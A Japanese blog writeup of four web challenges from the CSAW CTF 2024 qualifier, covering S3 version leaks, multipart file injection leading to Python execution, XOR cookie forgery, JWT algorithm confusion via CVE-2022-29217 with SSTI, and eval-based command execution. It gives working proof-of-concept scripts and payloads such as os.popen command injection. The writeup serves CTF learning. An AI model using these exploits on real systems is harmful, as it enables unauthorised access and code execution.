はまやんはまやんはまやん

hamayanhamayan's blog

CSAW CTF Qualification Round 2024 Writeup

https://ctftime.org/event/2398

[web] BucketWars

ソースコード無し。開いてみると

What's in a bucket?
Looking deeper into the stolen bucket only reveals past versions of our own selves one might muse 盗まれたバケツを深く覗き込むことは、結局のところ過去の自分自身を見ることに他ならない、と人は考えるかもしれない。

と言われる。Bucketと言えば、Amazon S3だが…

バケット名を探す

Burp Suiteを開いて、サイトを巡回して、Historyを見て回る。レスポンスヘッダーを見るとServer: AmazonS3とあり、S3でホストしているのは間違いなさそうだが、間にCloudFrontが挟まっていてbucketnameは分からない。

…と思いきやGET /favicon.icoの404応答を見ると、https://s3.us-east-2.amazonaws.com/bucketwars.ctf.csaw.io/404.jpgのように出力があり、bucketnameが漏洩していた。なるほど。つまり、バケット名は「bucketwars.ctf.csaw.io」

AWS CLIで色々やってみる

昔のバージョンが得られれば良さそうなので、aws s3api list-object-versions --bucket bucketwars.ctf.csaw.io --no-sign-requestしてみるとたくさん出てきた。出てきたものをaws s3api get-objectで取得してみると成功した。適当にリストを作ってマルチカーソルでコマンドをちまちま作って一気に持って来る。

$ aws s3api get-object --bucket bucketwars.ctf.csaw.io --key index_v1.html ./$(date +%s%3N)-index_v1.html --version-id CFNz2JPIIJfRlNfnVx8a45jgh0J90KxS --no-sign-request
$ aws s3api get-object --bucket bucketwars.ctf.csaw.io --key index_v1.html ./$(date +%s%3N)-index_v1.html --version-id t6G6A20JCaF5nzz6KuJR6Pj1zePOLAdB --no-sign-request

この辺りを持って来ると気になる情報が手に入る。

t6G6A20JCaF5nzz6KuJR6Pj1zePOLAdB
->
Wait what's here?
<img src="https://asdfaweofijaklfdjkldfsjfas.s3.us-east-2.amazonaws.com/sand-pit-1345726_640.jpg">

CFNz2JPIIJfRlNfnVx8a45jgh0J90KxS
->
<!-- Note to self: be sure to delete this password: versions_leaks_buckets_oh_my --> 

ステガノする

この2つを元にステガノすると(?)フラグが手に入る。

$ steghide extract -sf sand-pit-1345726_640.jpg -p versions_leaks_buckets_oh_my
wrote extracted data to "flag.txt".

$ cat flag.txt
csawctf{■■■■■■■■■■■■■■■■■■■■■■■■}

[web] Charlies Angels

ソースコード有り。javascriptで書かれたフロント側と、pythonで書かれたバックエンドが用意されている。フラグはpython側のバックエンドの/flagに置いてある。

pythonコードを動かしている箇所がある

@app.route('/restore', methods=["GET"])
def restore():
    filename = os.path.join("backups/", request.args.get('id'))
    restore = "ERROR"
    if os.path.isfile(filename + '.py'):
        try:
            py = filename + '.py'
            test = subprocess.check_output(['python3', py])
            if "csawctf" in str(test): 
                return "ERROR"
            restore = str(test)
        except subprocess.CalledProcessError as e:
            filename = "backups/" + request.args.get('id') + 'json'
            if not os.path.isfile(filename): return "ERROR"
            f = open(filename, "r")
            jsonified = json.dumps(f.read())
            if "flag" not in filename or "csawctf" not in jsonified:
                restore = jsonified
    return restore

バックエンド側でpythonコードを動かしている箇所があり非常に怪しい。しかも、普通に実行しているとここでエラーになる。filenameはGETクエリストリングからidパラメタを取得してきて.pyを付けたものを利用している。フロント側でここを呼び出しているのは以下。

app.get('/restore', authn, (req, res) => {  
    let restoreURL = BACKUP + `/restore?id=${req.sessionID}`;
    console.log(restoreURL);
    needle.get(restoreURL, (error, response) => {
        try {
            if (error) throw new Error(error);
            if (response.body == "ERROR") throw new Error("HTTP Client error");
            return res.send(response.body);
        } catch (e) {
            if (e.message != "HTTP Client error") {
                console.log(e);
            }
            return res.status(500).sendFile('public/html/error.html', {root: __dirname});
        }
    });
});

idとしてセッションIDを返している。つまり、backups/[セッションID].pyを実行していることになる。セッションIDは固定化するのは難しそうだったが、Cookieをよく見るとセッションIDが含まれていた。自分のセッションIDは取得可能であるため、任意のbackups/[自分のセッションID].pyのファイルが作成できれば、RCEまでつなげることができる。任意のファイルをアップロードできる箇所を探してみよう。

任意のファイルをアップロードする

バックエンド側のもう一つのエンドポイントもかなり怪しい見た目になっている。

BANNED = ["app.py", "flag", "requirements.txt"]
@app.route('/backup', methods=["POST"])
def backup():
    if request.files: 
        for x in request.files:
            file = request.files.get(x)
            for f in BANNED:
                if file.filename in f or ".." in file.filename:
                    return "ERROR"
            try:
                name = file.filename
                if "backups/" not in name:
                    name = "backups/" + name
                f = open(name, "a")
                f.write(file.read().decode())
                f.close()
            except:
                return "ERROR"
    else:
        backupid = "backups/" + request.json["id"] + ".json"
        angel = request.json["angel"]
        f = open(backupid, "a")
        f.write(angel)
        f.close()
    
    return "SUCCESS"

POST /backupにアップロードされたファイルをbackupsフォルダ以下に保存している。いかにもbackups/[自分のセッションID].pyが用意できそうな雰囲気がある。呼び出し元を見てみよう。

app.post('/angel', (req, res) => {
    for (const [k,v] of Object.entries(req.body.angel)) {
        if (k != "talents" && typeof v != 'string') {
            return res.status(500).send("ERROR!");
        }
    }
    req.session.angel = {
        name: req.body.angel.name,
        actress: req.body.angel.actress,
        movie: req.body.angel.movie,
        talents: req.body.angel.talents
    };
    const data = {
        id: req.sessionID,
        angel: req.session.angel
    };
    const boundary = Math.random().toString(36).slice(2) + Math.random().toString(36).slice(2);
    needle.post(BACKUP + '/backup', data, {multipart: true, boundary: boundary},  (error, response) => {
        if (error){
            console.log(error);
            return res.status(500).sendFile('public/html/error.html', {root: __dirname});
        }
    });
    return res.status(200).send(req.sessionID);

});

needleというライブラリを使ってバックエンドを呼び出している。だが、読んだ感じファイルアップロードをしているような実装ではなく、実際に試してみてもアップロードではなかった。外部入力的にはneedle.postの第二引数の一部を改変可能だが、うまくやれないだろうか?

needleの公式READMEを見ると、ここにあるように)第二引数経由でファイルを入れ込めるようだ。フロント側のjavascriptを見ると、angel.talents以下のみstringでなくても良いので、そこにここにあるようなものを入れて試してみる。つまり、手元で環境を立ち上げてPOST /angelに以下のようなjsonを送ってみる。

{
    "angel": {
        "name":"Tiffany Welles",
        "actress":"Shelley Hack",
        "movie":"OG Charlie's Angels TV Series",
        "talents": {
            "filename": "hoge.py",
            "buffer": "print(1337)",
            "content_type": "application/json"
        }
    }
}

これでバックエンドのターミナルを起動してみると、backups/hoge.pyが生成されていて、bufferの中身が保存されていた!!! このエンドポイントを活用することで任意のファイル名・中身のファイルの生成に成功した。

1つにまとめる

以上2つのポイントをまとめることで任意のpythonスクリプトを動かすことができる。ここまでの理屈が理解できていればPoCを読む方が後は明快なので、PoCを置いておく。

import requests

BASE = 'https://[redacted]/'

s = requests.Session()

s.get(BASE + 'angel')
session_id = s.cookies.get('connect.sid')[4:36]
s.post(BASE + 'angel', json={
    "angel": {
        "name":"hoge",
        "actress":"fuga",
        "movie":"piyo",
        "talents": {
            "filename": session_id + '.py',
            "buffer": "print(open('/flag').read().replace('csawctf','[redacted]'))",
            "content_type": "application/evil"
        }
    }
})
t = s.get(BASE + 'restore').text
print(t)

注意点としてバックエンドのGET /restoreにてpythonスクリプトの実行結果にcsawctfが含まれているとエラーになるので、適当に変換して出力している。

[web] Log Me In

ソースコード有り。フラグは以下にある。

@pagebp.route('/user')
def user():
    cookie = request.cookies.get('info', None)
    name='hello'
    msg='world'
    if cookie == None:
        return render_template("user.html", display_name='Not Logged in!', special_message='Nah')
    userinfo = decode(cookie)
    if userinfo == None:
        return render_template("user.html", display_name='Error...', special_message='Nah')
    name = userinfo['displays']
    msg = flag if userinfo['uid'] == 0 else "No special message at this time..."
    return render_template("user.html", display_name=name, special_message=msg)

つまり、Cookieのinfo経由で与えた何かをデコードした結果がuid=0であればよい。decode関数を見てみる。

def decode(inp: str) -> dict:
    try:
        token = bytes.fromhex(inp)
        out = ''
        for i,j in zip(token, os.environ['ENCRYPT_KEY'].encode()):
            out += chr(i ^ j)
        user = json.loads(out)
        return user
    except Exception as s:
        LOG(s)
        return None

hexをデコードしてos.environ['ENCRYPT_KEY']とXORを取っている。なるほど。鍵を特定する必要がありそう。

鍵を特定し、トークンを偽装する

encodeしている箇所を探すとPOST /loginで使われていた。

@pagebp.route('/login', methods=["GET", "POST"])
def login():
    if request.method != 'POST':
        return send_from_directory('static', 'login.html')
    username = request.form.get('username')
    password = sha256(request.form.get('password').strip().encode()).hexdigest()
    if not username or not password:
        return "Missing Login Field", 400
    if not is_alphanumeric(username) or len(username) > 50:
        return "Username not Alphanumeric or longer than 50 chars", 403
    # check if the username already exists in the DB
    user = Account.query.filter_by(username=username).first()
    if not user or user.password != password:
        return "Login failed!", 403
    user = {
        'username':user.username,
        'displays':user.displayname,
        'uid':user.uid
    }
    token = encode(dict(user))
    if token == None:
        return "Error while logging in!", 500
    response = make_response(jsonify({'message': 'Login successful'}))
    response.set_cookie('info', token, max_age=3600, httponly=True)
    return response

ソースコードがあるので構造が分かっていて、前半はユーザー入力で構成されている。よって、平文がほとんど分かる状態である。token = 平文 xor 鍵であるため、token xor 平文で鍵を導出することができる。username, diplaynameを適当に伸ばせば十分な長さの鍵を取得することができる。

やってみよう。まず、username, displayname共に「EEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEE」を設定してユーザー登録する。その際に得られたトークンを使って以下のようなスクリプトを回して鍵を手に入れ、uid=0にしたトークンを偽装する。

import json

user = {
    'username': 'EEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEE',
    'displays': 'EEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEE',
    'uid': 1
}
plaintext = json.dumps(dict(user)).encode()

inp = '48674c3731025651282f614a4d543317217d37220724263232722c3111177636227c2834020e3d3d342e311f0a35373d040b0f2c1d033c147013703f060d772a535e551417281f1c2114361540494e6b32727177320a300a06162e211c1f211774260e012c08090e0c3d27152d002c0b3f207200207635720e210311273208773437114a55604c0f02724d6e7027'
token = bytes.fromhex(inp)
key = ''
for i,j in zip(token, plaintext):
    key += chr(i ^ j)
print(key)


user = {
    'username': 'a',
    'displays': 'b',
    'uid': 0
}
plaintext = json.dumps(dict(user)).encode()
out = b''
for i,j in zip(plaintext, key.encode()):
    out += bytes([i^j])
print(bytes.hex(out))

最終的に出力されたトークンをCookieのinfoに入れてGET /userにアクセスするとフラグが得られる。

[web] Lost Pyramid

ソースコード有り。問題文にヒントがある。

A massive sandstorm revealed this pyramid that has been lost (J)ust over 3300 years.. I'm interested in (W)here the (T)reasure could be?

JWTをなんかするみたい。

フラグはどこにある?

ソースコードを見るとtempletes/kings_lair.htmlにダミーフラグが書いてあった。このファイルが使われている所を見ると以下の箇所。

# Load keys
with open('private_key.pem', 'rb') as f:
    PRIVATE_KEY = f.read()

with open('public_key.pub', 'rb') as f:
    PUBLICKEY = f.read()

KINGSDAY = os.getenv("KINGSDAY", "TEST_TEST")
...[redacted]...
@app.route('/kings_lair', methods=['GET'])
def kings_lair():
    token = request.cookies.get('pyramid')
    if not token:
        return jsonify({"error": "Token is required"}), 400

    try:
        decoded = jwt.decode(token, PUBLICKEY, algorithms=jwt.algorithms.get_default_algorithms())
        if decoded.get("CURRENT_DATE") == KINGSDAY and decoded.get("ROLE") == "royalty":
            return render_template('kings_lair.html')
        else:
            return jsonify({"error": "Access Denied: King said he does not way to see you today."}), 403
    
    except jwt.ExpiredSignatureError:
        return jsonify({"error": "Access has expired"}), 401
    except jwt.InvalidTokenError as e:
        print(e)
        return jsonify({"error": "Invalid Access"}), 401

フラグを得るには2つのクリアすべき障壁がある。1つはJWTトークンの検証を回避することであり、もう1つはKINGSDAYの値を特定することである。

decode部分を見るとdecoded = jwt.decode(token, PUBLICKEY, algorithms=jwt.algorithms.get_default_algorithms())のように使えるアルゴリズムjwt.algorithms.get_default_algorithms()となっていた。encode時はjwt.encode(payload, PRIVATE_KEY, algorithm="EdDSA")のように固定されているので変な感じがする。怪しいがnoneを試しても成功しなかったので一旦置いておく。

SSTI

ソースコードをさらに巡回すると以下にSSTI出来る箇所が見つかる。(適当に省略している)

@app.route('/scarab_room', methods=['GET', 'POST'])
def scarab_room():
    try:
        if request.method == 'POST':
            name = request.form.get('name')
            if name:
                kings_safelist = ['{','}', '𓁹', '𓆣','𓀀', '𓀁', '𓀂', '𓀃', '𓀄', '𓀅', '𓀆', '𓀇', '𓀈', '𓀉', '𓀊', 
                                    '𓀐', '𓀑', '𓀒', '𓀓', '𓀔', '𓀕', '𓀖', '𓀗', '𓀘', '𓀙', '𓀚', '𓀛', '𓀜', '𓀝', '𓀞', '𓀟',
                                    '𓀠', '𓀡', '𓀢', '𓀣', '𓀤', '𓀥', '𓀦', '𓀧', '𓀨', '𓀩', '𓀪', '𓀫', '𓀬', '𓀭', '𓀮', '𓀯',
                                    '𓀰', '𓀱', '𓀲', '𓀳', '𓀴', '𓀵', '𓀶', '𓀷', '𓀸', '𓀹', '𓀺', '𓀻']  

                name = ''.join([char for char in name if char.isalnum() or char in kings_safelist])

                
                return render_template_string('''
                    <!DOCTYPE html>
...
[redacted]
...
                        
                        {% if name %}
                            <h1>𓁹𓁹𓁹 Welcome to the Scarab Room, '''+ name + ''' 𓁹𓁹𓁹</h1>
                        {% endif %}
                        
                    </body>
                    </html>
                ''', name=name, **globals())
    except Exception as e:
        pass

    return render_template('scarab_room.html')

GET /scarab_roomを開き{{config}}を試すとうまくいった。いつものSSTIのペイロードを試そうとするが、記号が使えないためにRCEができない。

記号が使えなくてもできることを色々試すと、{{KINGSDAY}}でKINGSDAYの値を取得することが出来た。パズルのピースが1つ手に入った。同様にPRIVATE_KEYが取得出来ればトークン偽装もできるようになるが、これは記号が含まれているので無理。代わりに公開鍵の方は{{PUBLICKEY}}のように不自然に記号が含まれていないので取得できる。

JWTトークンを偽装する

先ほどは偽装に失敗したが、SSTIから公開鍵が得られることを考えても、やはり偽装するのだろう。使っているライブラリに脆弱性が無いかrequirements.txtを見てみるとPyJWT==2.3.0のようにPyJWTの大分古いバージョンを使っていて、検索すると脆弱性CVE-2022-29217が報告されていた。これは使えそうだ。古いバージョンだとPEMをそのまま共通鍵として指定しても問題無いというもの。

以下のようにやってみる。

with open('lostpyramid/public_key.pub', 'rb') as f:
    PUBLICKEY = f.read()

import jwt

token = jwt.encode({"ROLE": "commoner"}, PUBLICKEY, algorithm='HS256')
print(token)

これを実行してみると…

jwt.exceptions.InvalidKeyError: The specified key is an asymmetric key or x509 certificate and should not be used as an HMAC secret.

とエラーが出た。手元の環境はバージョンが新しいようだ。クリーンなpython環境を作って指定のPyJWTをインストールしてもう一度試してみよう。

$ docker run -v ${PWD}:/mnt --rm -it python:latest /bin/bash
root@d7c568217a01:/# pip install PyJWT==2.3.0
Collecting PyJWT==2.3.0
  Downloading PyJWT-2.3.0-py3-none-any.whl.metadata (4.0 kB)
Downloading PyJWT-2.3.0-py3-none-any.whl (16 kB)
Installing collected packages: PyJWT
Successfully installed PyJWT-2.3.0
WARNING: Running pip as the 'root' user can result in broken permissions and conflicting behaviour with the system package manager. It is recommended to use a virtual environment instead: https://pip.pypa.io/warnings/venv

[notice] A new release of pip is available: 24.0 -> 24.2
[notice] To update, run: pip install --upgrade pip
root@d7c568217a01:/# cd /mnt
root@d7c568217a01:/mnt# python3 solver.py 
eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJST0xFIjoiY29tbW9uZXIifQ.hGjNWOZmjK56LiVC8y9VZymVTt6Kq18v_jhaTvM8Wqk

ok. これをCookieのpyramidに入れてGET /kings_lairに行くと{"error":"Access Denied: King said he does not way to see you today."}のようにトークン検証は成功した。

フラグへ

これでパズルの鍵が全部そろったので、フラグを取ろう。

  1. GET /scarab_roomを開く
  2. {{KINGSDAY}}を入力して、KINGSDAYの値を取得 -> 03_07_1341_BC
  3. {{PUBLICKEY}}を入力して、PUBLICKEYの値を取得 -> ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIPIeM72Nlr8Hh6D1GarhZ/DCPRCR1sOXLWVTrUZP9aw2
  4. 以下でtoken作成
KINGSDAY = '03_07_1341_BC'
PUBLICKEY = b'ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIPIeM72Nlr8Hh6D1GarhZ/DCPRCR1sOXLWVTrUZP9aw2'

import jwt

token = jwt.encode({"ROLE": "royalty", "CURRENT_DATE": KINGSDAY}, PUBLICKEY, algorithm='HS256')
print(token)
  1. 4の結果をCookieのpyramidにいれて、GET /kings_lairを開くとフラグ獲得

[web] Playing on the Backcourts

ソースコードpythonスクリプトが与えられる。フラグはpythonコード内にある。

safetytime = 'csawctf{i_look_different_in_prod}'

書いてはあるが、どこでも使われていない。ソースコードを巡回すると、怪しい処理がある。

@app.route('/get_eval', methods=['POST'])
def get_eval() -> Flask.response_class:
    try:
        data = request.json
        expr = data['expr']
        
        return jsonify(status='success', result=deep_eval(expr))
    
    except Exception as e:
        return jsonify(status='error', reason=str(e))


def deep_eval(expr:str) -> str:
    try:
        nexpr = eval(expr)
    except Exception as e:
        return expr
    
    return deep_eval(nexpr)

evalしてますね。入力されたjsonのexprを持ってきてevalしている。これはasfetytimeを持って来るだけか?…とPOST /get_evalに対して{"expr": "safetytime"}を送ると以下が帰ってきた。

{"result":"csawctf{7h1s_1S_n07_7h3_FL49_y0u_4R3_l00K1n9_f0R}","status":"success"}

これを出してみるが不正解。んー、RCEできるかも確かめてみる。

{"expr": "__import__('os').popen('id').read()"}とやるとuid=1000(swilliams) gid=3000 groups=3000と帰ってきた。RCEできますね。

適当にcat * | grep csawctfするといくつかフラグっぽいのが出てきて出すと正答だった。{"expr": "__import__('os').popen('cat * | grep csawctf').read()"}を送って、最後に出てきたフラグっぽいものが正答。